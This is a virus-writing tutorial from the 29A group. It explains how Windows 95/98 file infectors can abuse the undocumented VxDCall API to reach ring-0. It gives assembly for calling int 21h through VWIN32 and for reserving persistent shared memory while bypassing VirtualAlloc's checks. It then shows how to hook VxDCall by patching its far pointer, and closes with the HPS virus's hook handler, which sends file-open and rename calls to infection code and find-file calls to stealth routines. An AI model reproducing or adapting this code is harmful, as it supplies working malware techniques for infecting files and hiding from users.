The VxDCall backdoor
by GriYo / 29A


Index:

    1. "USER MODE" and "SUPERVISOR MODE"
    2. "SUPERVISOR MODE" hacking
    3. The API VxDCall
    4. Win32 services exported by system VxD's
    5. KERNEL32.DLL and the interrupt 21h
    6. Interrupt 21h functions
    7. Allocating shared memory
    8. VxDCall hooking
    9. Last words

1 - "USER MODE" and "SUPERVISOR MODE"

Windows95/98 uses two of the four protection levels supported by the i386 proccessor and its succesors:

We all know that user applications are potential targets for viruses. If you are going to write a PE file infector your code will be executed at 'user mode', under the strict control of the operating system. Can the execution escape from this privilege level?

2 - "SUPERVISOR MODE" hacking

When an infected program is executed the virus code receives control for the very first time. At this point we know that the virus is working under 'user mode', far away from the 'supervisor mode'. To reach ring-0 we have to use one of the below described methods:

3 - The API VxDCall

"... A VxD is really nothing more than a DLL that runs at the highest privilege level of the processor (ring 0). Since VxD's runs at ring 0, there's essentially nothing they can't do".

After I read this fragment in Matt Pietrek's book 'Windows95 System Programming Secrets' I thought that VxD's might contain exported services, as DLL's do. I knew that VxD's exported services to other VxD's but did they export services to Win32?. If that was the case these services could be very useful for virus programming, because they are similar to API's but is running at ring-0.

After reading more at this subject I learned the answer to the above question. Yes VxD's contains all kind of services that are exported to other VxD's and Win32. The problem was now how to communicate with the VxD's at ring-0 from ring-3, which the virus is at.

After a little more research, I found a API called DeviceIoControl. This API allows a application to send/receive information to/from a VxD file. I then did some testing and learned this wasn't the API I was looking for, as DeviceIoControl doesn't allow the application to use services exported by VxD's.

When I tried to find some information about how to call Win32 services inside VxD's, all I could find was a reference. It seems to me like some poor attempt to hide important information about the internals of the operating system.

The key to it all is a undocumented API, which lets us use a powerful interface between ring-3 and ring-0. This API is called VxDCall and is exported by KERNEL32.DLL, but wait! Dont browse KERNEL32 exported API names because its not there. In order to drop more shadows on this Microsoft coders decided to hide this API, exporting it only as ordinal, not as name.

If we look at KERNEL32.DLL, we'll find tons of calls to this API. In some cases KERNEL32 code is just a wrapper between applications and VxD services.

The following piece of code shows how to call the service _PageFree, exported by VMM.VXD to Win32:

		push 00000000h
		push dword ptr [allocated_addr]
		push 0001000Ah
		call dword ptr [a_VxDCall]
		jmp init_error

The first two instruction push the parameters needed by _PageFree into the stack. The 3rd instruction is part of the protocol used to call VxDCall. The low-word is an index that indentifies the service we want to call. The high-word indentifies the VxD containing that service. In this example the codification is:

		0001h = VMM.VXD
		000Ah = _PageFree

If we debug a call to KERNEL32 VirtualFree API we will find that the code just checks input parameters. Some lines ahead is a call to VMM _PageFree service, wich do the dirty work.

Now lets see some of the services exported to Win32 by system VxD's. Just by reading the name of the service you can imagine lots of ideas on how to use them in virus writing.

4 - Win32 services exported by system VxD's

Services exported by VMM.VXD:

00010000h	PageReserve
00010001h	PageCommit
00010002h	PageDecommit
00010003h	PagerRegister
00010004h	PagerQuery
00010005h	HeapAllocate
00010006h	ContextCreate
00010007h	ContextDestroy
00010008h	PageAttach
00010009h	PageFlush
0001000Ah	PageFree
0001000Bh	ContextSwitch
0001000Ch	HeapReAllocate
0001000Dh	PageModifyPermissions
0001000Eh	PageQuery
0001000Fh	GetCurrentContext
00010010h	HeapFree
00010011h	RegOpenKey
00010012h	RegCreateKey
00010013h	RegCloseKey
00010014h	RegDeleteKey
00010015h	RegSetValue
00010016h	RegDeleteValue
00010017h	RegQueryValue
00010018h	RegEnumKey
00010019h	RegEnumValue
0001001Ah	RegQueryValueEx
0001001Bh	RegSetValueEx
0001001Ch	RegFlushKey
0001001Dh       ???
0001001Eh	GetDemandPageInfo
0001001Fh	BlockOnID
00010020h	SignalID
00010021h	RegLoadKey
00010022h	RegUnloadKey
00010023h	RegSaveKey
00010024h	RegRemapPreDefKey
00010025h	PageChangePager
00010026h	RegQueryMultipleValues
00010027h	RegReplaceKey

Another VxD exporting services to Win32 is VWIN32.VXD. Some of this services are:

002A0000	GetVersion
002A0001	Stuff VWIN32 code pointers into caller-supplied buffer
002A0002	Get system time
002A0003	Stuff code pointers from KERNEL32 into VWIN32's data area
002A0004	Block on some semaphore
002A0005	Calls Signal_Semaphore_No_Switch on some semaphore
002A0006	Calls VMM Create_Semaphore, and stuff into global var
002A0007	Calls VMM Destroy_Semaphore on semaphore created by 002A0006
002A0008	VWIN32_CreateThread (including allocating TDBX)
002A0009	VWIN32_Sleep
002A000A	WakeThread
002A000B	TerminateThread
002A000C	Some sort of initialization function
002A000D	_VWIN32_QueueUserApc
002A000E	VWIN32_Initialize
002A000F	_VWIN32_QueueKernelApc
002A0010	VWIN32_Int21Dispatch
002A0011	Calls IFSMgr_Win32DupHandle
002A0012	VWIN32_BlockThreadSetBit
002A0013	Adjust_Thread_Exec_Priority
002A0014	_VWIN32_Get_Thread_Context
002A0015	_VWIN32_Set_Thread_Context
002A0016	Read process memory
002A0017	Write process memory
002A0018	Calls VMCPD_Get_CR0_State
002A0019	Calls VMCPD_Set_CR0_State
002A001A	SuspendThread
002A001B	ResumeThread
002A001C	???
002A001D	WaitCrst
002A001E	WakeCrst
002A001F	Something to do with loading/unloading VxD's
002A0020	WMCPD_Get_Version
002A0021	Set_Thread_Win32_Pri
002A0022	Calls Boost_With_Decay
002A0023	Calls Set_Inversion_Pri
002A0024	Calls Release_Inversion_Pri_ID
002A0025	Calls Release_Inversion_Pri
002A0026	Calls Attach_Thread_To_Group
002A0027	Calls Set_Thread_Static_Boost
002A0028	Calls Set_Group_Static_Boost
002A0029	VWIN32_Int31Dispatch
002A002A	VWIN32_Int41Dispatch
002A002B	VWIN32_BlockForTermination
002A002C	TerminationHandler2
002A002D	???
002A002E	dwBlockSingleWnod (WaitForSingleObject)
002A002F	dwBlockMultipleWnod (WaitForMultipleObjects)
002A0030	VWIN32_SetEvent
002A0031	Something to do with delivering APC's
002A0032	???
002A0033	InitUserAPCList
002A0034	???
002A0035	Calls VMM Signal_Semaphore_No_Switch
002A0036	Calls System_Control (KERNEL32_INITIALIZED)
002A0037	VWIN32_CommonFaultPopup
002A0038	VWIN32_ForceCrsts
002A0039	???
002A003A	VWIN32_FreezeAllThreads
002A003B	VWIN32_UnFreezeAllThreads
002A003C	Calls IFS_Mgr_Ring0_FileIO
002A003D	Calls Get_Initial_Thread_Handle, Attach_Thread_To_Group and
                Boost_Thread_With_VM
002A003E	VWIN32_ActivateTimeBiasSet
002A003F	ModifyPagePermission (used by VirtualQueryEx)
002A0040	Used by VirtualQueryEx
002A0041	ForceLeaveCrst
002A0042	ForceEnterCrst
002A0043	Calls VMCPD_Set_Thread_Excpt_Type
002A0044	VTD_Get_Real_Time
002A0045	Calls System_Control (SET_DEVICE_FOCUS)
002A0046	Calls VWIN32_UnFreezeThread
002A0047	Calls VMM_Replace_Global_Environment
002A0048	Calls System_Control (KERNEL32_SHUTDOWN)
002A0049	???
002A004A	VW32_AddSysCrst
002A004B	VW32_SetTimeOut
002A004C	VW32_Cancel_Time_Out
002A004D	???
002A004E	Something to do with setting and reflecting hotkeys

		Notes:

		Crst means Critical Section

                APC means Asynchronous Procedure Call

                VMCPD is the Virtual Math Coprocessor Device

                IFSMgr is the Installable File System Manager

                System_Control is the VMM.VXD ring 0 service that broadcasts
                system control messages to VxD's.

5 - KERNEL32.DLL and the interrupt 21h

Look close at VWIN32 exported services. There is one called VWIN32_Int21Dispatch. Its is a backdoor that allows Win32 to call the well known interrupt 21h. Now search the KERNEL32 code and look for calls to this service. Oh! There are hundreds! I though Microsoft said that Windows95 doesnt deppend on MsDos. Below is a example of how to call interrupt 21h using that service:

my_int21h:	push ecx
		push eax
		push 002A0010h
		call dword ptr [ebp+a_VxDCall]
		ret

I found the right way to call VWIN32_Int21hDispatch by looking at how KERNEL32 calls it. I learned that Windows uses interrupt 21h to perform tasks such as: find, open, read, write, close, delete or rename files. By hooking all these functions with VxDCall, we can effectively monitor file access.

6 - Interrupt 21h functions

This is a list of interrupt 21h functions for MS-DOS LFN (long file name) extension. KERNEL32 uses these functions continiuosly.

0E00		Set default drive
1900		Get current drive
2A00		Get system date
2B00		Set system date
2C00		Get system time
2D00		Set system time
3600		Get disk free space
3D00		Open existing file for read only
3D02		Open existing file for read/write
3E00		Close file
3F00		Read file
4000		Write file
4200		Set current file position relative to start of file
4201		Set current file position relative to current position
4202		Set current file position relative to end of file
4400		IOCTL get device information
4401		IOCTL set device information
4408		IOCTL check if block device is removable
4409		IOCTL check if block device remote
440D		IOCTL generic block device request
4B00		Exec program
4D00		Get return code
5000		Set current PSP
5700		Get file date/time
5701		Set file date/time
5704		Set extended file attributes
5900		Get extended error info
5C00		Lock file region
5C01		Unlock file region
5E00		Network functions
6800		Commit file
7139		LFN create directory
713A		LFN remove directory
713B		LFN change directory
7141		LFN delete file
7143		LFN get/set file attributes
7147		LFN get current directory
714E		LFN find first file
714F		LFN find next file
7156		LFN rename file
7160		LFN get canonical filename
716C		LFN extended open/create
71A0		LFN get volume information
71A1		LFN find close
71A6		LFN get file info by handle
71A7		LFN file time to DOS time

The following example shows how to use these functions. This code will be useful later in our virus.

;Move file pointer
;
;Entry:		ebx = File handle

seek_here:	;Move pointer to position specified in edx
		mov eax,edx
           	and eax,0FFFF0000h
		shr eax,10h
		mov ecx,eax
		mov eax,00004200h                
		jmp short seek_now

seek_bof:	;Move pointer to beginning of file
		mov eax,00004200h                       
		jmp short do_seek

seek_eof:	;Move pointer to end of file
		mov eax,00004202h
do_seek: 	xor edx,edx
		xor ecx,ecx
seek_now:	call my_int21h
		jc exit_seek
		and eax,0000FFFFh
		shl edx,10h
		or eax,edx
		xor edx,edx
		clc
exit_seek:	ret

7 - Allocating shared memory

We can use the functions exported by VMM.VXD in the same way we used with VWIN32.VXD. Lets have a look at the services used by VMM.VXD to handle 'page-based' memory in Windows95.

		_GetDemandPageInfo
		_PageAttach
		_PageCommit
		_PageDecommit
		_PageDecommit
		_PageFlush
		_PageFlush
		_PageFree
		_PageModifyPermisions
		_PageQuery
		_PageReserve

This services correspond with the ones in KERNEL32 APIs used for handling 'virtual memory'. In some cases that code at KERNEL32 just checks the entry parameters and call the corresponding service in VMM.VXD.

We now how to allocate 'virtual memory' in Win32:

VirtualAlloc ( 	LPVOID lpAddress,
		DWORD dwSize,
		DWORD flAllocationType,
		DWORD flProtect );

The VirtualAlloc function reserves or commits a region of pages in the virtual address space of the calling process. The entry parameters are:

		- lpAddress 	

		
                Specifies the desired starting address of the region to 
		allocate. If this parameter is NULL, the system determines 
		where to allocate the region. 

		
                - dwSize 		
		
		Specifies the size, in bytes, of the region. If the lpAddress
		parameter is NULL, this value is rounded up to the next page
		boundary. 

		
                - flAllocationType 

		
                Specifies the type of allocation. You can specify any 
		combination of the following flags: 

		
                MEM_COMMIT - Allocates physical storage in memory or in the
		paging file on disk for the specified region of pages. An 
		attempt to commit an already committed page will not cause 
		the function to fail. This means that a range of committed 
		or decommitted pages can be committed without having to worry
		about a failure.

		
                MEM_RESERVE - Reserves a range of the process's virtual
		address space without allocating any physical storage. The 
		reserved range cannot be used by any other allocation 
		operations (the malloc function, the LocalAlloc function, and
		so on) until it is released. Reserved pages can be committed
		in subsequent calls to the VirtualAlloc function. 

		
                - flProtect 

		
                Specifies the type of access protection. If the pages are 
		being committed, any one of the following flags can be 
		specified, along with the PAGE_GUARD and PAGE_NOCACHE 
		protection modifier flags, as desired:

		PAGE_READONLY
		PAGE_READWRITE
		PAGE_EXECUTE
		PAGE_EXECUTE_READ
		PAGE_EXECUTE_READWRITE
		PAGE_GUARD
		PAGE_NOACCESS
		PAGE_NOCACHE

Lets trace a call to VirtualAlloc with the debugger. We will see how this API checks the entry parameters and then calls to the service _PageReserve in VMM.VXD, using VxDCall. During the execution of VirtualAlloc API the call will return with error in the folling cases:

		- If dwSize specifies too much space.
		- If lpAddress is an invalid address.
		- If the undocumented flag MEM_SHARED was included.
		- If the call to _PageReserve fails.

Although we know the existence of the flag MEM_SHARED, we cant use it due to the checks performed by VirtualAlloc. In order to allocate a region of pages into system shared memory we are going to bypass the calling protocol and go straigh to _PageReserve. Here is an example:

                push PC_WRITEABLE or PC_USER
                push page_mem_size                      ;Size
                push PR_SHARED
                push 00010000h                          ;Call to _PageReserve
                call dword ptr [ebp+a_VxDCall]          ;...using VxDCall
                cmp eax,0FFFFFFFFh                      ;Error?
                je init_error
                cmp eax,80000000h                       ;Into shared memory?
                jb free_pages
                mov dword ptr [ebp+mem_address],eax     ;Save region address
                push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED
                push 00000000h
                push PD_ZEROINIT
                push page_mem_size                      ;Size
                shr eax,0Ch                             ;Page number
                push eax                                
                push 00010001h                          ;Call to _PageCommit
                call dword ptr [ebp+a_VxDCall]          ;...using VxDCall
                or eax,eax
                je free_pages

In the first call to VxDCall i used the service _PageReserve from VMM.VXD (0001h = VMM.VXD and 0000h = _PageReserve). As first entry parameter we specify the type of memory to allocate, using the following flags:

                PC_FIXED        Commit a region of locked memory. This
				pages will stay locked along all the session.

                PC_LOCKED       Commit a regin of locked memory that can
				be unlocked later.

                PC_WRITEABLE    Write access to the commited pages.

                PC_USER         This is a must if you want to access the
				allocated pages from ring-3.

After this the routines pushes into stack the number of bytes to allocate. The last parameter is the starting page for the allocated region, but you can also specify one of the following flags:

                PR_PRIVATE      Reserve memory in the ring-3 privated area
				for each application,

                PR_SHARED       Reserve memory in the ring-3 shared area.

                PR_SYSTEM       Reserve ring-0 memory.

By means of PR_SHARED flag our memory region will be allocated into shared memory, and this area will be visible for all applications. This is important if we plan to monitor all the calls suited by any application.

In case of error Page_Reserve will return 0FFFFFFFFh in eax register. If the memory was allocated without problems eax is a pointer to it. Then we can check if the pages was allocated at shared memory area, this is, above 80000000h.

Once the memory is allocated it's time to tell the operating system to map that memory into physical memory. For this purpose is _PageCommit, exported by VMM.

The first parameter are some flags similar to the ones used in the call to _PageReserve. This time we specify PC_PRESENT to keep the memory once the owner program terminates.

I use 0 as next parameter, i dont want to mess with 'PAGERS' and other details of the memory managment, this is out of the purpose of this article.

Then we use PD_ZEROINIT to initialize allocated memory with zero's. The last parameter specifies the number of pages to commit. In case of error the call will return 0, and the virus have to free previously allocated pages:

free_pages:	xor eax,eax
                push eax
                push dword ptr [ebp+mem_address]
                push 0001000Ah
                call dword ptr [ebp+a_VxDCall]

The work is done, now our virus can allocate a block of memory that will stay there after the application terminates. The virus can copy its body to this area and redirect some kernel functions to pass through our code before or after being executed.

8 - VxDCall hooking

Take the debugger and have a look at how the VxDCall function comunicates with VxD's. You will find something like this:

		mov eax,dword ptr [esp+00000004h]
		pop dword ptr [esp]
		call fword ptr cs:[BFFC9004]

This code loads eax with the identifier of the VxD containing the desired service. After a stack fix everything is ready for jumping to the service code. The call instruction will translate us to:

		int 30h

Nice... Seems like the system is using interrupt 30h to jump into ring-0. If you trace into the interrupt call you will fall somewhere inside VMM.VXD.

Now lets have a closer look at VxDCall code, soecially to the following instruction:

		call fword ptr cs:[BFFC9004]

This instruction will translate the execution to the address stored into cs:[BFFC9004]. This address points to the interrupt call. If we overwrite this value with a pointer to our own handler we succesfully hooked VxDCall.

		mov esi,dword ptr [ebp+a_VxDCall]       ;VxDCall address
		mov ecx,00000100h                       ;Explore 0100h bytes
trace_VxDCall:  lodsb
		cmp al,2Eh
		jne trace_next
		cmp word ptr [esi],1DFFh
		je get_int30h
trace_next:	loop trace_VxDCall                      

The code above follows the VxDCall API code looking for the following sequence of byte:

		2E FF 1D xx xx xx xx  CALL FWORD PTR CS:[xxxxxxxx]

When the virus finds the call instruction it can extract the value there, save it inside virus code and patch it to point to the viral handler.

		cli
		lodsw                                   ;Skip FF 1D opcodes
		lodsd                                   ;Get ptr to INT 30h
		push eax
		mov esi,eax
		mov edi,dword ptr [ebp+mem_address]
		add edi,VxDCall_code-mem_base
		mov ecx,00000006h
		rep movsb
		pop edi                                 
		mov eax,dword ptr [ebp+mem_address]
		add eax,VxDCall_hook-mem_base
		stosd
		mov ax,cs                               ;Overwrite far ptr
		stosw
		sti

We stop interrupts before proceeding. Then take the address of xxxxxxxx and we find a 'FWORD' that point to the int 30h instruction. 'FWORD' are six bytes, the virus have to copy this bytes into a save buffer inside its body.

Finally we write the address of our handler, first the 32bits offset and the segment next (remember that 'FWORD' is a 16:32 value). Turn on interrupts, now the hook is active.

Below is a portion of the HPS virus, the interrupt handler:

VxDCall_hook:   pushad

                call mem_delta                          ;Get "in-memory"
mem_delta:      pop ebp                                 ;delta offset
                sub ebp,offset mem_delta

                cmp dword ptr [ebp+hook_status],"BUSY"  ;Dont process our
                je exit_hook                            ;own calls

                cmp eax,002A0010h                       ;VWIN32 VxD int 21h?
                jne exit_hook

                mov eax,dword ptr [esp+0000002Ch]
                
                cmp ax,2A00h                            ;Get system time?
                je tsr_check

                cmp ax,3D00h                            ;Open file read?
                je infection_edx

                cmp ax,3D01h                            ;Open file
                je infection_edx                        ;read/write?
                
                cmp ax,7143h                            ;X-Get/set attrib?
                je infection_edx

                cmp ax,714Eh                            ;LFN find first file
                je stealth

                cmp ax,714Fh                            ;LFN find next file
                je stealth

                cmp ax,7156h                            ;LFN rename file?
                je infection_edx

                cmp ax,716Ch                            ;LFN extended open?
                je infection_esi

                cmp ax,71A8h                            ;Generate short name?
                je infection_esi

exit_hook:      popad

do_far_jmp:     ;Do a jmp fword ptr cs:[xxxxxxxx] into original code

                db 2Eh,0FFh,2Dh
ptr_location    dd 00000000h

Some readers will notice that the virus sets a global variable at the beginning of the handler code. This variable works as semaphore and it's purpose is to avoid the virus from proccesing its own calls to VxDCall.

Next, the virus checks if the requested service is VWIN32_Int21Dispatch. If so the function number specified by the caller is read from the stack. The virus looks for interesting functions and perform the corresponding tasks.

Finally the execution is passed to the original VxDCall function, which address we saved before.

9 - Last words

This is just another backdoor in Windows95 security, that is also present under Windows98. I wrote the HPS virus to show how to exploit this.

HPS shows how to trick VxDCall to infect files and perform its stealth routine. The virus also uses VxDCall to 'bypass' KERNEL32 memory managment, fooling all checks.